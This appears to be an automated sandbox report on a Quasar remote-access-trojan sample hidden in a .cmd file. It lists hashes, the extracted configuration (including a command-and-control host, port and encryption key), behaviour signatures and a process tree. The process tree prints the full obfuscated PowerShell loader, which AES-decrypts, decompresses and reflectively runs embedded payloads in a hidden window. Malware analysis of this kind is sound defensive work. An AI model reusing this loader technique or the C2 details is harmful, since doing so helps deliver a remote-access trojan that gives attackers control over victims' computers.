Analysis

  • max time kernel
    142s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-10-2024 09:24

General

  • Target

    mbbkel3.cmd

  • Size

    1.6MB

  • MD5

    d7239bc304b1d9d4ae192e2570419d53

  • SHA1

    dccb1c1c8021d791852cd5c0dc5c6240be0ed2d1

  • SHA256

    7543e6925701f6fde75accb15f483991596b55260b720ba7dbc84cc48eeb27aa

  • SHA512

    d52dde51b91d287c750e85828ce4dd7a46e0ea2235fd6e63d4e7588745f7e34c198827cccb2d719525ecea5e92a8804377ca193b2d3e1e0e986d4f77d8dd4430

  • SSDEEP

    24576:U6X5+xxQt9059S6lF1Xnu3V9wdo/Z7h6lstvegjMuz0OGSqE2qfv9OU:LpG/h3IHre0zRL

Malware Config

Extracted

Family

quasar

Version

1.4.1

Botnet

Office04

C2

walkout.ddnsgeek.com:8080

Mutex

27391f85-a482-471a-b2cd-1f8ab5bde32e

Attributes
  • encryption_key

    6469F8C5BA9A2CFDCF4A3F1651D1E92DBEA41117

  • install_name

    Client.exe

  • log_directory

    Logs

  • reconnect_delay

    3000

  • startup_key

    Quasar Client Startup

  • subdirectory

    SubDir

Signatures

  • Quasar RAT

    Quasar is an open source Remote Access Tool.

  • Quasar payload 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\mbbkel3.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4004
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('dZwBIL8mRiTZatOT8DHuTDuk3Oo1l68JNKsZ1rANWLs='); $aes_var.IV=[System.Convert]::FromBase64String('VRFaPmL5cO3W99Q3sAgvnA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$Sopqh=New-Object System.IO.M*em*or*yS*tr*ea*m(,$param_var);'.Replace('*', ''); IEX '$LWDBe=New-Object System.IO.*M*e*m*o*r*y*S*t*r*e*a*m*;'.Replace('*', ''); IEX '$TccZi=New-Object System.IO.C*om*pr*e*ss*io*n.*GZ*ip*St*re*am*($Sopqh, [IO.C*om*pr*es*si*on*.Co*mp*re*ss*i*o*n*Mode]::D*e*c*omp*re*ss);'.Replace('*', ''); $TccZi.CopyTo($LWDBe); $TccZi.Dispose(); $Sopqh.Dispose(); $LWDBe.Dispose(); $LWDBe.ToArray();}function execute_function($param_var,$param2_var){ IEX '$MWnnv=[System.R*e*fl*ect*io*n.*As*se*mb*l*y*]::L*o*a*d*([byte[]]$param_var);'.Replace('*', ''); IEX '$jHyaV=$MWnnv.*E*n*t*r*y*P*o*i*n*t*;'.Replace('*', ''); IEX '$jHyaV.*I*n*v*o*k*e*($null, $param2_var);'.Replace('*', '');}$mjRKG = 'C:\Users\Admin\AppData\Local\Temp\mbbkel3.cmd';$host.UI.RawUI.WindowTitle = $mjRKG;$ysPnv=[System.IO.File]::ReadAllText($mjRKG).Split([Environment]::NewLine);foreach ($akrhi in $ysPnv) { if ($akrhi.StartsWith('dUMGHfMAItMYvjVTxFtd')) { $XDrXi=$akrhi.Substring(20); break; }}$payloads_var=[string[]]$XDrXi.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
      2⤵
        PID:2184
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:4924
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2484

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lqxrpwwh.sqv.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2484-24-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

      Filesize

      10.8MB

    • memory/2484-29-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

      Filesize

      10.8MB

    • memory/2484-26-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

      Filesize

      10.8MB

    • memory/2484-25-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

      Filesize

      10.8MB

    • memory/4924-13-0x00000257553C0000-0x0000025755404000-memory.dmp

      Filesize

      272KB

    • memory/4924-33-0x0000025755F20000-0x0000025755F70000-memory.dmp

      Filesize

      320KB

    • memory/4924-0-0x00007FF9DE4F3000-0x00007FF9DE4F5000-memory.dmp

      Filesize

      8KB

    • memory/4924-12-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

      Filesize

      10.8MB

    • memory/4924-11-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

      Filesize

      10.8MB

    • memory/4924-1-0x0000025752E60000-0x0000025752E82000-memory.dmp

      Filesize

      136KB

    • memory/4924-30-0x0000025752E90000-0x0000025752E9C000-memory.dmp

      Filesize

      48KB

    • memory/4924-31-0x0000025755510000-0x0000025755642000-memory.dmp

      Filesize

      1.2MB

    • memory/4924-32-0x0000025755640000-0x0000025755964000-memory.dmp

      Filesize

      3.1MB

    • memory/4924-14-0x0000025755490000-0x0000025755506000-memory.dmp

      Filesize

      472KB

    • memory/4924-34-0x0000025756030000-0x00000257560E2000-memory.dmp

      Filesize

      712KB

    • memory/4924-35-0x0000025756810000-0x00000257569D2000-memory.dmp

      Filesize

      1.8MB

    • memory/4924-38-0x0000025755F70000-0x0000025755F82000-memory.dmp

      Filesize

      72KB

    • memory/4924-39-0x0000025755FD0000-0x000002575600C000-memory.dmp

      Filesize

      240KB

    • memory/4924-40-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

      Filesize

      10.8MB

    • memory/4924-41-0x00007FF9DE4F3000-0x00007FF9DE4F5000-memory.dmp

      Filesize

      8KB

    • memory/4924-42-0x00007FF9DE4F0000-0x00007FF9DEFB1000-memory.dmp

      Filesize

      10.8MB